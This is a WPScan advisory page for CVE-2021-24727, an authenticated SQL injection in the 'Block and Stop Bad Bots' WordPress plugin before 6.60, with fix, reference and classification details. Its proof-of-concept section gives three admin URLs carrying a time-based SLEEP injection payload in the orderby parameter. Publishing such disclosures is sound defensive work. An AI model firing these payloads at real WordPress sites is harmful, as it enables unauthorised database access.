WPScan
How it worksPricing
Vulnerabilities
WordPressPluginsThemesStatsSubmit vulnerabilities
For developers
StatusAPI detailsCLI scanner
Contact
WPScan
How it worksPricing
Vulnerabilities
WordPressPluginsThemesStatsSubmit vulnerabilities
For developers
StatusAPI detailsCLI scanner
Contact

WordPress Plugin Vulnerabilities

Block and Stop Bad Bots < 6.60 - Authenticated SQL Injections

Description

The plugin did not validate or escape the order and orderby GET parameter in some of its admin dashboard pages, leading to Authenticated SQL Injections

Proof of Concept

https://example.com/wp-admin/admin.php?page=sbb_my-custom-submenu-page&orderby=1+AND+%28SELECT+4242+FROM+%28SELECT%28SLEEP%285%29%29%29aaa%29&order=asc

https://example.com/wp-admin/admin.php?page=sbb_my-custom-submenu-page2&orderby=1+AND+%28SELECT+4242+FROM+%28SELECT%28SLEEP%285%29%29%29aaa%29&order=asc

https://example.com/wp-admin/admin.php?page=sbb_my-custom-submenu-page3&orderby=1+AND+%28SELECT+4242+FROM+%28SELECT%28SLEEP%285%29%29%29aaa%29&order=asc 

Affects Plugins

stopbadbots
Fixed in version 6.60

References

CVE
CVE-2021-24727
URL
https://plugins.trac.wordpress.org/changeset/2576276/
URL
https://www.trustwave.com/en-us/resources/security-resources/security-advisories/?fid=29174

Classification

Type

SQLI

OWASP top 10
A1: Injection
CWE
CWE-89

Miscellaneous

Original Researcher

Martin Vierula of Trustwave

Verified

Yes

WPVDB ID
ffa1f718-f2c5-48ef-8eea-33a18a628a2c

Timeline

Publicly Published

2021-08-06 (about 10 months ago)

Added

2021-08-09 (about 10 months ago)

Last Updated

2022-04-24 (about 2 months ago)

Our Other Services

WPScan WordPress Security Plugin
WPScan

Vulnerabilities

WordPressPluginsThemesOur StatsSubmit vulnerabilities

About

How it worksPricingWordPress pluginNewsContact

For Developers

StatusAPI detailsCLI scanner

Other

PrivacyTerms of serviceDisclosure policy
jetpackIn partnership with Jetpack
githubtwitterfacebook
Angithubendeavor
Work With Us